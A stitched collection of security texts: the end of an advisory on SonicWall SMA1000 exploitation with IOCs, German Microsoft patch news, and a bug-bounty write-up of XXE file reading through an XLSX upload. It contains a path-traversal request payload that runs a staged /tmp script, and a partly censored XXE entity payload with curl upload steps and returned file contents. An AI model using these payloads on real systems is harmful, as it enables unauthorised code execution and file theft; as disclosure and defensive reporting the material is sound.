csrfToken=GFEJUCQBUZOLUCCOO3YBA8G30ZE9VKDP&command=rollback&rollbackUpgradeTime=&hotfix=../../../../../tmp/1234.sh&rollbackHotfixTime=

If the provided hotfix file does not exist, a reboot does not occur. If the provided file exists, the system reboots after it chmods and executes the file. Below is a system monitor (pspy) depicting output of this occurring during exploitation:

2026/07/09 23:21:00 CMD: UID=0     PID=10355  | chmod +x /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh
2026/07/09 23:21:00 CMD: UID=0     PID=10355  | /bin/bash /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh --unattended
2026/07/09 23:21:00 CMD: UID=0     PID=10361  | /usr/bin/python3 /usr/local/ctrl-service/bin/ctrl-service.py
[...]
2026/07/09 23:21:22 CMD: UID=0     PID=11124  | shutdown -r now

A Python proof-of-concept for CVE-2026-15409 is available here; a Metasploit module for the chain is in development.

Mitigation guidance

Organizations operating SonicWall SMA1000 appliances should immediately upgrade to the latest platform hotfix releases.

Fixed versions are:

There are no workarounds available.

Because active exploitation has been confirmed, organizations should not rely solely on patching. SonicWall additionally recommends:

• Performing a thorough forensic review for indicators of compromise.

• Re-imaging physical appliances or redeploying virtual appliances if compromise is identified.

• Changing user and administrator passwords.

• Resetting TOTP tokens following confirmed compromise.

Customers should consult the SonicWall security advisory for the latest remediation guidance and platform hotfix availability.

Observed exploitation

Prior to SonicWall’s official vulnerability disclosure, our Managed Detection and Response team observed active, targeted exploitation of internet-facing SMA 1000-series appliances. Threat actors were primarily leveraging the perimeter appliance as a stealthy initial access vector, executing commands on the operating system by bypassing traditional input validation controls. Once they established a foothold on the appliance, the actors systematically extracted high-value credentials, active session databases, and Time-Based One-Time Password (TOTP) multi-factor authentication (MFA) seed configurations. This local harvesting was designed to ensure long-term, persistent access that could survive standard network-level remediations.

With these harvested resources, the threat actors quickly shifted to lateral movement, pivoting from the compromised appliance directly into the internal corporate network. Specifically, we observed a sequence of anomalous, VPN-less Active Directory authentications targeting core domain controllers. These authentications originated directly from the appliance’s internal IP address, using atypical, non-corporate workstation client names (such as kali or other non-inventory hostnames) under the context of the appliance’s integrated LDAP service account. This unique behavior of direct, machine-level lateral movement with no corresponding active VPN tunnel confirmed that the appliance itself had been fully compromised and was acting as an unmonitored backdoor into the corporate directory infrastructure.

Artifacts or evidence sources and IOCs

Rapid7 recommends reviewing appliance logs for evidence of active exploitation, including the following characteristic behaviors and specific log indicators:

Characteristic Behaviors

• Websocket exploit IOC log patterns: extraweb_access.log entries containing the strings ("GET" AND "wsproxy" AND "=-3389" AND “ 101 “) indicate interactions with the niche affected service. If suspicious host parameter values such as “0.0.0.0”, “localhost”, or “::ffff:127.0.0.1” are present, that’s indicative of likely exploitation of CVE-2026-15409. Note that “serviceType=SSH” was used in our published materials, but options such as “serviceType=TELNET” are viable alternatives.

• Hotfix removal exploit IOC log patterns: The ctrl-service.log shows the hotfix-removal utility (/usr/local/bin/remove_hotfix) being invoked with traversal sequences pointing to attacker-staged shell script payloads (e.g., ../../../../../../tmp/sma1000_5c47.sh). This is indicative of successful exploitation of CVE-2026-15410.

• Internet-facing probing: Enumeration of the SMA portal, including repeated requests to /auth1.html, path-traversal attempts, and generic file/enumeration requests (e.g., /.env, /api/sonicos/is-sslvpn-enabled).

• Authentication activity: Authentication-API activity against /__api__/logon/<session-id>/authenticate.

• Sensitive path access: Access to sensitive appliance paths such as /tmp/temp.db*, consistent with theft of stored session data.

• AD/Service Account Compromise: NTLM logons (Windows Event ID 4624, logon type 3) into internal domain controllers sourced from the appliance's internal IP address, using attacker-controlled workstation names (e.g., kali) without a corresponding VPN session.

• extraweb_access.log: Requests to /__api__/login or /__api__/logout returning HTTP 200, and requests to /wsproxy containing suspicious host parameters returning HTTP 101.

Configuration artifacts

• /var/lib/unit/conf.json containing routes for /__api__/login or /__api__/logout, which are not present in legitimate configurations.

Atomic Indicators

• F.N.S Holdings Limited (ASN - 206092): The threat actor(s) utilized varying IP addresses, but they belonged to the VPN hosting provider FNS Holdings Limited. Limit or block access to FNS Holdings Limited if there is no business need. For reference, the IP addresses we observed were:

• 45.131.194.0/24

• 45.146.54.0/24

• 63.135.161.0/24

• 173.239.211.0/24

• 193.37.32[.]179

• 193.37.32[.]214

• 216.73.163[.]151

• 216.73.163[.]158

If any indicators of compromise are identified, organizations should treat the appliance as compromised and follow SonicWall’s recovery guidance.

Rapid7 customers

Organizations should prioritize identifying all internet-facing SonicWall SMA1000 appliances and determine whether affected software versions remain deployed. Given SonicWall’s and Rapid7’s confirmation of active exploitation, exposed appliances should be considered high-priority assets for remediation.

Security teams should also review available authentication, web access, and appliance management logs for the indicators published by SonicWall to determine whether follow-up incident response activities are warranted.

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers will be able to assess exposure to CVE-2026-15409 and CVE-2026-15410 with authenticated vulnerability checks available in the July 15 content release.

Updates

July 15, 2026: Initial publication.

Tags: #Cyber Security | #Microsoft

Zum Juli-Patchday hat Microsoft nicht nur eine Rekordzahl von Sicherheitslücken geschlossen und viele neue Funktionen ausgeliefert, sondern auch einen kuriosen Fehler beseitigt, der dazu führte, dass Windows 11 bis zu 500 GB Speicherplatz unnötig belegte.

Dieser Capability Access Manager-Bug kann dazu führen, dass auf Windows-11-Rechnern der Speicherplatz knapp wird, obwohl eigentlich ausreichend freier Speicherplatz vorhanden ist. Ein Fehler in der Datei CapabilityAccessManager.db-wal führt dazu, dass das Systemlaufwerk immer voller wird. Diese Datei ist mit dem Windows-Dienst „Capability Access Manager“ verknüpft, der wiederum für App-Berechtigungen unter Windows zuständig ist. Eigentlich sollte die dazugehörige Datei nur wenige Megabyte an Speicherplatz beanspruchen, doch bei einigen PCs sind es eben mehrere hundert Gigabyte.

Genau dieses Problem geht Microsoft im Rahmen des Juli-2026-Patchdays ebenfalls mit dem Patch KB5101650 an, wie Windowslatest berichtet. Windows 11 KB5101650 behebt besagten Fehler im Capability Access Manager. Anders als die oben erwähnten neuen Funktionen, sollte dieser Fix nach der Installation sofort funktionieren und nicht erst später scharfgeschaltet werden.

Der entsprechende Eintrag von Microsoft zu diesem Problem im Changelog fällt denkbar lakonisch aus: “[Speicher] Dieses Update verbessert die Speicherplatznutzung für die Datei „CapabilityAccessManager.db-wal”. Microsoft sagt aber nicht, ob eine WAL-Datei, die bereits auf mehrere Hundert Gigabyte angewachsen ist, automatisch verkleinert wird. Von Nutzern, die das Update im Rahmen der Juni-Vorschau bereits installiert hatten, wurde laut Windowslatest berichtet, dass ihre Datei unmittelbar nach dem Update immer noch groß war und erst wieder normal wurde, nachdem sie sie manuell gelöscht hatten.

Es ist also wichtig, dass Sie nach der Installation der Patchday-Updates nachschauen, ob die WAL-Datei noch riesengroß ist oder auf ihre korrekte Größe geschrumpft ist. Hierfür geben Sie in der Windows-Eingabeaufforderung mit Administratorrechten Folgendes ein:

robocopy “C:\ProgramData\Microsoft\Windows\CapabilityAccessManager”

“%TEMP%\CAMCheck” /L /B /R:0 /W:0 /BYTES /NP

Alternativ nutzen Sie ein externes Tool wie WizTree, TreeSize oder WinDirStat und suchen damit nach der Datei CapabilityAccessManager.db-wal und überprüfen, wie groß diese Datei ist. Ist sie mehrere GB groß, scheint das eben dieser Bug zu sein und Sie sollten die Datei CapabilityAccessManager.db-wal löschen, und zwar nach dem hier beschriebenen Weg. Ist die Datei nur wenige Hundert Kilobyte oder maximal um die 1,6 MB groß, dann ist alles in Ordnung.

Das Löschen der Datei auf eine Art und Weise, die nicht der Empfehlung entspricht, kann allerdings Probleme verursachen, wie Windowslatest berichtet.

Übrigens: Sollten Sie Windows 11 Home im Einsatz haben, dann entgehen Ihnen die vielen Vorteile der Pro-Version, die wir Ihnen hier vorstellen. Im PC-WELT Software-Shop ist das Windows-11-Upgrade für günstige 59,99 Euro statt 145 Euro erhältlich.

Bei seinem Patchday am 14. Juli hat Microsoft Sicherheits-Updates gegen 570 neue Sicherheitslücken bereitgestellt. Rechnet man die Patches zusammen, die Microsoft seit Anfang des Monats bereitgestellt hat, werden es sogar mehr als 620. Dies als neuen Rekordwert zu bezeichnen, wäre eine maßlose Untertreibung – der bisherige Rekord lag bei 206 im Juni 2026, ist also nur fünf Wochen alt. Die Gesamtzahl der bislang in diesem Jahr gestopften Lücken (1380) übertrifft damit bereits jetzt die des Rekordjahrs 2020 (1250).

Neben Windows und Office sind auch Exchange Server, Hyper-V, Visual Studio, Github Copilot und Microsofts Cloud-Dienste betroffen, ebenso Ages of Empire II und Minecraft Server – im Grunde das gesamte Microsoft-Portfolio. Zwei Lücken werden bereits für Angriffe ausgenutzt. Ganze 58 der 570 Schwachstellen stuft Microsoft als kritisch ein, die übrigen sind fast alle als hohes Risiko ausgewiesen.

Die Details zu den Schwachstellen bietet Microsoft zum Selbstsuchen im Leitfaden für Sicherheitsupdates. Deutlich übersichtlicher bereitet Dustin Childs im Blog von Trend Micro ZDI das Thema Update-Dienstag auf – stets auch mit Blick auf Admins, die Unternehmensnetzwerke betreuen.

Edge-Updates stopfen über 400 Chromium-Lücken

Das neueste Sicherheits-Update auf Edge 150.0.4078.65 ist vom 9. Juli und basiert auf Chromium 150.0.7871.115. Es behebt 27 Chromium-Schwachstellen, die bei der oben genannten Gesamtlückenanzahl ebenso wenig eingerechnet sind wie die über 400 Chromium-Lücken aus der ersten Juli-Woche – andernfalls lägen wir bei mehr als 1000. Und inzwischen steht bereits das nächste Chrome-/Chromium-Update mit 15 behobenen Schwachstellen bereit.

Schwachstellen in Windows

Ein großer Anteil der Schwachstellen, diesmal über 400, verteilt sich über die verschiedenen Windows-Versionen (10, 11, Server), für die Microsoft noch Sicherheits-Updates anbietet. Windows 10 wird weiterhin ganz normal als betroffenes System genannt, obwohl die Unterstützung im Oktober 2025 offiziell ausgelaufen ist – das lief bei Windows 7 trotz ESU-Programm (Erweiterte Sicherheits-Updates) noch anders. Microsoft hat das ESU-Programm für Windows 10 auf privat genutzten Rechnern bis 12. Oktober 2027 verlängert.

Attacken auf Active Directory

Die einzige Windows-Lücke in diesem Monat, die bereits für Angriffe ausgenutzt wird, ist die EoP-Schwachstelle CVE-2026-56155 in den Active Directory-Verbunddiensten (AD FS). Die ist als hohes Risiko eingestuft und Microsoft weist den CVSS-Score 7.8 aus. Die Zugriffskontrollen sind nicht feinmaschig genug und so kann ein Angreifer Administratorrechte erlangen. Anfällig sind Windows Server 2012 bis 2025 sowie ältere Windows-10-Versionen (1607, 1809).

Kritische Windows-Lücken

Unter den 413 Schwachstellen in Windows, die Microsoft in diesem Monat beseitigt, sind 24 als kritisch eingestufte RCE-Lücken und sieben kritische EoP-Lücken. Mit einem CVSS-Score von 9.9 (10 ist der Höchstwert) ragt die UAF-Lücke (use after free) CVE-2026-57092 in VMSwitch (Hyper-V) aus der Masse heraus. Ein erfolgreicher Angreifer mit niedrigen Rechten kann aus dem Gastsystem heraus höhere Berechtigungen auf dem Hostsystem erlangen.

▶Die neuesten Sicherheits-Updates

Im Remote Desktop Protocol (RDP) wartet die RCE-Lücke CVE-2026-56190 auf entschlossene Angreifer. Diese können mittels speziell gestalteter RDP-Pakete mit Speicher interagieren, der nicht ordentlich initialisiert wurde. Sie erhalten damit die Möglichkeit, Speicher so zu manipulieren, dass eingeschleuster Code ausgeführt wird.

Wie die vorgenannte RDP-Schwachstelle kommt auch die RCE-Lücke CVE-2026-50518 im DHCP-Server auf den CVSS-Score 9.8. Sie ist eine von neun DHCP-Schwachstellen, die Microsoft in diesem Monat beseitigt. Im Windows Server-Netzwerktreiber steckt die RCE-Lücke CVE-2026-56188 mit dem CVSS-Score 9.8. Hier kann ein Angreifer mit speziell präparierten Datenpaketen ansetzen, um auf anfälligen Systemen eingeschleusten Code auszuführen. Und anfällig sind alle noch unterstützten Windows-Ausgaben, von Windows 10 bis Server 2025.

Etliche Office-Lücken gestopft

In seinen Office-Produkten hat Microsoft 97 Schwachstellen beseitigt, fast doppelt so viele wie im Juni. Darunter sind 17 als kritisch eingestufte RCE-Lücken (remote code execution). Bei diesen ist meist bereits das Vorschaufenster ein Angriffsvektor – ein Benutzer muss eine präparierte Datei nicht erst mit Office öffnen, um eine erfolgreiche Attacke zu ermöglichen. Die übrigen 48 RCE-Lücken können ausgenutzt werden, wenn ein Benutzer eine präparierte Office-Datei in einem anfälligen Office-Produkt öffnet (open-and-own).

▶Microsoft stoppt Rollout des Secure-Boot-Updates

Auch Lücken mit mittlerem Risiko verdienen Beachtung: Die lediglich als mittleres Risiko eingestufte EoP-Schwachstelle CVE-2026-56164 (elevation of privilege) in Sharepoint Server wird bereits für Angriffe ausgenutzt. Ein Angreifer kann übers Netzwerk ohne Benutzeranmeldung Zugriff erlangen. Wer die SFB-Lücke (security feature bypass) CVE-2026-55040 in Sharepoint Server (CVSS 9.1) ausnutzt, kann ohne Benutzeranmeldung auf Dateien zugreifen (kopieren und manipulieren). Die Sharepoint-Schwachstellen CVE-2026-50522/-58644 sind als kritisch ausgewiesene RCE-Lücken (CVSS 9.8). Für CVE-2026-50522 existiert ein funktionsfähiger Demo-Exploit, der beim Hacker-Wettbewerb Pwn2own erfolgreich vorgeführt, aber nicht im Detail veröffentlicht wurde.

Tipp: Unabhängig davon, dass Sie das Betriebssystem stets aktuell halten, sollten Sie die Sicherheit Ihres PCs zusätzlich mit geeigneter Antivirus-Software verbessern. Gute Antivirus-Lösungen stellen wir in „Die besten Antivirus-Programme 2025 im Test: So schützen Sie Ihren Windows-PC“ vor. Falls Sie großen Wert auf anonymes Surfen legen, sind wiederum gute VPN-Programme einen Blick wert.

Spoofing im Exchange Server

In Exchange Server hat Microsoft in diesem Monat vier Schwachstellen behoben, eine fünfte in Exchange Online. Als kritisch ist nur die Spoofing-Lücke CVE-2026-55008 (CVSS 9.6) ausgewiesen, der eine XSS-Schwachstelle (cross-site scripting) zugrunde liegt. Wenn eine speziell präparierte Mail in Outlook Web Access (OWA) geöffnet wird, kann ohne weitere Voraussetzungen beliebiger Javascript-Code im Browser ausgeführt werden.

Endlich einmal etwas speziell für Gamer

In dedizierten Server von Minecraft Bedrock hat Microsoft die RCE-Lücke CVE-2026-55010 (CVSS 9.8) bereits gestopft. Als Betreiber eines Minecraft-Servers müssen Sie nichts weiter unternehmen, sagt Microsoft. Bei Age of Empires II: Definitive Edition müssen Sie hingegen aktiv werden. Ein Angreifer kann die RCE-Lücke CVE-2026-50663 (CVSS-Score 8.8) ausnutzen, indem er eine speziell präparierte Spielszenario-Datei erstellt und andere dazu bringt, diese zu öffnen. Dadurch kann eine Datei mit schädlichem Code an unerwarteter Stelle abgelegt und womöglich ausgeführt werden.

Im Juli gibt es wieder ein neues Windows-Tool zum Entfernen bösartiger Software. Der nächste turnusmäßige Update-Dienstag ist am 11. August 2026.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Mit Version 8.9.7 veröffentlicht Entwickler Don Ho ein umfangreiches Update für Notepad++, das mehrere Sicherheitslücken schließt und zahlreiche Fehler behebt. Darüber hinaus verbessert die neue Version die Stabilität, erweitert den Funktionsumfang der Suchfunktion und optimiert verschiedene Bereiche der Benutzeroberfläche.

Vor circa einem Monat veröffentlichte der anonyme Sicherheitsforscher Nightmare Eclipse Informationen über Rogue Planet, eine sogenannte Zero-Day-Schwachstelle in der Defender-Sicherheitssoftware von Microsoft.

Die Sicherheitslücke, die offiziell als CVE-2026-50656 bezeichnet wurde, kann von Hackern ausgenutzt werden, um vollen Zugriff auf Ihren Computer zu erlangen.

Die Seite Bleeping Computer berichtet nun, dass Microsoft einen Sicherheitsfix für Rogue Planet veröffentlicht hat, und zwar über ein Update der Malware Protection Engine (der zentralen Scan-Engine, auf der Microsofts Sicherheitslösungen und -dienste basieren). Sie bekommen den Patch automatisch über Windows Update.

„Microsoft hat ein Update für die Microsoft Malware Protection Engine veröffentlicht, das die unter der Kennung CVE-2026-50656 identifizierte Sicherheitslücke behebt. Weitere Informationen dazu, wie Sie überprüfen können, ob die neue Version installiert wurde, finden Sie in den FAQ“, teilte Microsoft zudem in einem Supportdokument mit.

Übrigens: Sollten Sie Windows 11 Home im Einsatz haben, dann entgehen Ihnen die vielen Vorteile der Pro-Version, die wir Ihnen hier vorstellen. Im PC-WELT Software-Shop ist das Windows-11-Upgrade für günstige 59,99 Euro statt 145 Euro erhältlich.

Kürzlich teilte derselbe Sicherheitsforscher Informationen über eine breite Palette von Sicherheitslücken in Windows mit, darunter Blue Hammer, Red Sun, Green Plasma, Mini Plasma, Yellow Key und Undefend. Und legte sich mit Microsoft selbst an, indem er seinen Unmut über dessen Security Response Center mit der Welt teilte.

Lesetipp: Windows Defender optimal einrichten und nutzen

Dieser Artikel erschien zuerst bei unserer Schwesterpublikation PC för Alla und wurde aus dem Schwedischen übersetzt und lokalisiert.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Read more →

The post macOS is becoming a proving ground for AI agents appeared first on IT Security News.

The post macOS is becoming a proving ground for AI agents appeared first on Help Net Security.

Mehr lesen: Pixel Update: Das Juli-Update ist jetzt da – Google bringt wichtige Verbesserung auf die Smartphones

Der Beitrag Pixel Update: Das Juli-Update ist jetzt da – Google bringt wichtige Verbesserung auf die Smartphones erschien zuerst auf GoogleWatchBlog.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Apple erweitert die experimentelle Version von Safari um eine neue Funktion für Webentwickler. Mit der Safari Technology Preview 247 führt das Unternehmen einen sogenannten Safari MCP-Server ein. Die Abkürzung steht für „Model Context Protocol“. Dahinter verbirgt sich eine Schnittstelle, über die KI-gestützte Entwicklungswerkzeuge direkt mit einem geöffneten Safari-Fenster kommunizieren können. Bislang mussten Entwickler Fehler häufig […]

The post Safari öffnet KI-Agenten den Browser: Neues MCP-Werkzeug vorgestellt first appeared on ifun.de.

Most people know XXE. Few think to look for it inside a spreadsheet upload. But beneath every .xlsx is really a ZIP archive full of XML, and the parser reading it doesn’t always know where to stop. This is the writeup of finding one that didn’t, and what it quietly handed back.

The Wall

The first thing I discovered wasn’t a vulnerability. It was a pattern.

Almost every asset was behind the same wall: Imperva, a web application firewall so common in enterprise deployments that you almost expect it now. On its own, a WAF isn’t an ending. It’s a conversation. You probe, you learn what it blocks and how, you find the shape of the rules. But this one was doing something specific that changed the entire character of the hunt. It was blocking the word `DOCTYPE`.

Not entire payloads. Not suspicious looking XML structures. Just the presence of that one keyword, anywhere inside a POST body, was enough to return a 403 before the request ever touched any application. For context: `DOCTYPE` is the entry point for XML External Entity injection, the vulnerability class that lets you instruct an XML parser to read files off the server’s filesystem and hand them back to you. Without `DOCTYPE`, that entire attack surface disappears.

I confirmed this across the program’s Japanese portals, Korean WebLogic applications, Brazilian upload forms, AEM content management systems. Every time, a 403. The wall held.

Learning to Read a Name

The assets in one particular region felt different from the start. Different infrastructure, different cloud providers, different WAF signatures. And among them, one domain resolved to an Alibaba Cloud IP with an F5 load balancer behind it. No Imperva signature in any response header. No `incap` cookies. No bot-detection challenges. The wall wasn’t there.

What was there was a URL path I had to look at twice.

/[REDACTED]/personal/CombineExcelUpload

I’ve learned over time that endpoint names are often the most honest thing about a web application. Developers name things after what they do. And this name said three things at once: it accepts Excel files, it uploads them, and it combines, meaning it doesn’t just store the file, it reads it. The name of the endpoint was practically a confession of the vulnerability class.

`CombineExcelUpload`. Server-side Excel processing. No authentication required.

The Thing About Spreadsheets

Here is something that took me a while to really internalize, and now I think about it almost every time I see a file upload endpoint.

An XLSX file is not a spreadsheet. Not at the parser level.

An XLSX file is a ZIP archive containing a structured set of XML documents, defined by the Office Open XML (OOXML) standard. Open any `.xlsx` file with a ZIP extractor and you’ll find a whole internal world: folders, XML files, namespace declarations, hiding inside something that looks like a simple grid of numbers. The architecture looks like this:

document.xlsx  (it's actually a ZIP)
│
├── [Content_Types].xml        ← declares MIME types for every internal part
├── _rels/
│   └── .rels                  ← links the package root to the workbook
└── xl/
    ├── workbook.xml            ← defines the workbook and its sheets
    ├── _rels/
    │   └── workbook.xml.rels   ← links the workbook to its sheet files
    └── worksheets/
        └── sheet1.xml          ← the actual cell data  ←  this is where we live

Every file in that tree is XML. And the one that contains your cell values, `xl/worksheets/sheet1.xml`, is parsed by whichever XML library the server uses to read the spreadsheet.

If that library has external entity resolution enabled (which is the default in older .NET codebases, because the insecure behavior is the default, not the exception) then you can put something inside `sheet1.xml` that the parser was never meant to see. A declaration that says: *before you read this cell’s value, go open this file on the filesystem and put its contents here instead.*

The mechanism, written out plainly:

XML parser reads sheet1.xml
  → encounters <!DOCTYPE> with external entity declaration
  → entity points to file:///C:/windows/win.ini
  → parser opens that file, reads its content
  → substitutes the content in place of &xxe; inside the <v> tag
  → application reads the cell value
  → application returns it in the JSON response
  → the file content is now in your terminal

That’s the whole chain. It uses the system exactly as designed, just with an input the designer never imagined someone would give it.

The First Test: Does It Reflect?

Before building any payload, I asked a simpler question. Does this endpoint actually read the cell content and return it? Or does it just accept the file and store it somewhere opaque?

I built the most minimal valid XLSX I could, nothing malicious, just a proper ZIP structure with a single cell containing the string `TestValue`, and uploaded it:

curl -s -X POST "https://[REDACTED]/[REDACTED]/CombineExcelUpload" \
  -H "Referer: https://[REDACTED]/[REDACTED]/index" \
  -F "excelFile=@test.xlsx;type=application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"

The response came back:

{"uploadResult":"TestValue","responseCode":"1"}

The endpoint read the cell. The endpoint returned the cell. The reflection was there.

That moment is quieter than you’d expect. There’s no alarm, no flashing light. Just a JSON field containing a word you put into a spreadsheet, coming back to you from a server you don’t control. It’s small. But it means everything, because it tells you the machinery is in place. The application is actively parsing the file and surfacing its contents. Which means if we control what the parser puts into that cell, we control what appears in the response.

Building the Payload: From the Inside Out

This is the part I want to be specific about, because it’s where most writeups wave their hand and say “craft a malicious XLSX.” The detail matters.

An XLSX file must be a valid ZIP archive with all five required files present, or the parser will reject it as malformed before it ever touches the worksheet XML. That means building the payload from scratch. Not modifying an existing spreadsheet, not using automated tools that produce broken structure, but assembling each piece by hand.

Here is what goes in each file :

`[Content_Types].xml`: the package manifest. Declares what MIME type each internal file represents. Without this, the parser doesn’t know what it’s looking at

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
  <Default Extension="rels"
    ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
  <Default Extension="xml" ContentType="application/xml"/>
  <Override PartName="/xl/workbook.xml"
    ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>
  <Override PartName="/xl/worksheets/sheet1.xml"
    ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>
</Types>

`_rels/.rels`: the root relationship file. Tells the parser the main document in this package is `xl/workbook.xml`.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId1"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument"
    Target="xl/workbook.xml"/>
</Relationships>

`xl/workbook.xml`: the workbook definition. Declares one sheet named Sheet1, linked by relationship ID `rId1`.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/ml/2006/main"
          xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
  <sheets>
    <sheet name="Sheet1" sheetId="1" r:id="rId1"/>
  </sheets>
</workbook>

`xl/_rels/workbook.xml.rels`: links `rId1` in the workbook to the actual sheet file.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId1"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet"
    Target="worksheets/sheet1.xml"/>
</Relationships>

`xl/worksheets/sheet1.xml`: this is the payload. The `DOCTYPE` declaration at the top defines an external entity named `xxe` whose value is the contents of a file on the server. The `&xxe;` reference inside the cell instructs the parser to resolve it.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo ..(Syntax -> `[<!` (medium Prevent the full code here*)) ENTITY xxe SYSTEM "file:///C:/windows/win.ini">]>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/ml/2006/main">
  <sheetData>
    <row r="1"><c r="A1" t="str"><v>PolicyNo</v></c></row>
    <row r="2"><c r="A2" t="str"><v>&xxe;</v></c></row>
  </sheetData>
</worksheet>

A few choices here worth explaining. The `DOCTYPE foo` element name is arbitrary. It just needs to be a valid XML name. Cell A1 contains benign data to make the file look like a legitimate upload. Cell A2 is where the exfiltrated content will land. The `t=”str”` attribute declares it as a string type, which matters because numeric cell types get processed differently and can break the substitution.

The target file, `C:\windows\win.ini`, was chosen deliberately for the first proof: it’s world-readable on all Windows versions, it’s short, and critically, it contains **no XML special characters** (`<`, `>`, `&`). Files that contain those characters break the outer XML document when substituted inline. The parser treats them as XML syntax rather than cell data, throws a parse error, and the read fails silently. `win.ini`, `system.ini`, and `hosts` are all safe targets for initial confirmation. `web.config` is not.

The Exploit Time

To turn the structure described above into a live test, I wrote a script that assembled all five XML files, packed them into a valid ZIP with an `.xlsx` extension, and posted the result to the upload endpoint in a single pass.

The four support files ([Content_Types].xml, .rels, workbook.xml, workbook.xml.rels) are static boilerplate that never change between reads. The only file that varies is `sheet1.xml`, where the target path gets injected at the `ENTITY` declaration:

## Construct from Building the Payload segment
...
...
TARGET_FILE = "file:///C:/windows/win.ini"
sheet1 = f"""<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo ..(Syntax -> `[<!` (medium Prevent the full code here*)) ENTITY xxe SYSTEM "{TARGET_FILE}">]>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/ml/2006/main">
  <sheetData>
    <row r="1"><c r="A1" t="str"><v>PolicyNo</v></c></row>
    <row r="2"><c r="A2" t="str"><v>&xxe;</v></c></row>
  </sheetData>
</worksheet>"""

Once assembled and zipped, the upload is a standard multipart POST, indistinguishable at the transport layer from a legitimate spreadsheet. The server does the rest.

Steps to Reproduce

Prerequisites: nothing. No account, no session token, no prior interaction with the application.

Step 1. Build a valid XLSX ZIP structure containing the five files described in “Building the Payload,” with `sheet1.xml` carrying the `DOCTYPE` entity declaration targeting `file:///C:/windows/win.ini`.

Step 2. POST the file to the upload endpoint:

curl -s -X POST "https://[REDACTED]/[REDACTED]/CombineExcelUpload" \
 -H "Referer: https://[REDACTED]/[REDACTED]/index" \
 -F "excelFile=@OUR_PAYLOAD_FILE_CONSTRUCTED.xlsx;type=application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"

Step 3. Observe the response. The JSON will contain the contents of `C:\windows\win.ini` from the remote server. A successful read looks like:

[*] Built: /tmp/OUR_PAYLOAD_FILE_CONSTRUCTED.xlsx
[*] Target: file:///C:/windows/win.ini
[*] Uploading...
[+] responseCode: 1
[+] File contents:
────────────────────────────────────────────────────────────
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
────────────────────────────────────────────────────────────

Step 4. To read a different file, set `TARGET_FILE` at the top of the script and run again.

What Came Back: The Full HTTP Evidence

Three separate reads were performed to establish reproducibility, all confirmed within the same session.

Read 1: `C:\windows\win.ini`

POST /[REDACTED]/CombineExcelUpload HTTP/1.1
Host: [REDACTED]
Referer: https://[REDACTED]/[REDACTED]/index
Origin: https://[REDACTED]
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----xxeboundary

------xxeboundary
Content-Disposition: form-data; name="excelFile"; filename="malicious_bugbounty_1775798050.xlsx"
Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
[Binary XLSX - xl/worksheets/sheet1.xml contains:]
<!DOCTYPE foo ..(Syntax -> `[<!` (medium Prevent the full code here*)) ENTITY xxe SYSTEM "file:///C:/windows/win.ini">]>
<v>&xxe;</v>
------xxeboundary--

Response:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Frame-Options: SAMEORIGIN

{"uploadResult":"; for 16-bit app support\r\n[fonts]\r\n[extensions]\r\n[mci extensions]\r\n[files]\r\n[Mail]\r\nMAPI=1\r\n","responseCode":"1"}

Read 2: `C:\Windows\System32\drivers\etc\hosts`

Identical request structure, `TARGET_FILE` changed. Response:

{"uploadResult":"# Copyright (c) 1993-2009 Microsoft Corp.\r\n# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.\r\n...[REDACTED]...\r\n# localhost name resolution is handled within DNS itself.\r\n#\t127.0.0.1       localhost\r\n#\t::1             localhost\r\n","responseCode":"1"}

Read 3: `C:\Windows\system.ini`

{"uploadResult":"; for 16-bit app support\r\n[386Enh]\r\nwoafont=[REDACTED]\r\n...\r\n[drivers]\r\nwave=mmdrv.dll\r\ntimer=timer.drv\r\n[mci]\r\n","responseCode":"1"}

Three reads. Three different file paths. Same exploit, same endpoint, same unauthenticated access. Reproducible on every run.

What Comes After the Door Opens

I want to be honest about what finding a vulnerability actually feels like, because the stories we tell each other often skip this part.

It doesn’t feel triumphant. Not immediately. It feels more like the moment after you’ve been carrying a question for a long time and the answer finally arrives. There’s relief, and then immediately, a new set of questions. — How deep does this go? What else can I read? Can I turn this into something more?

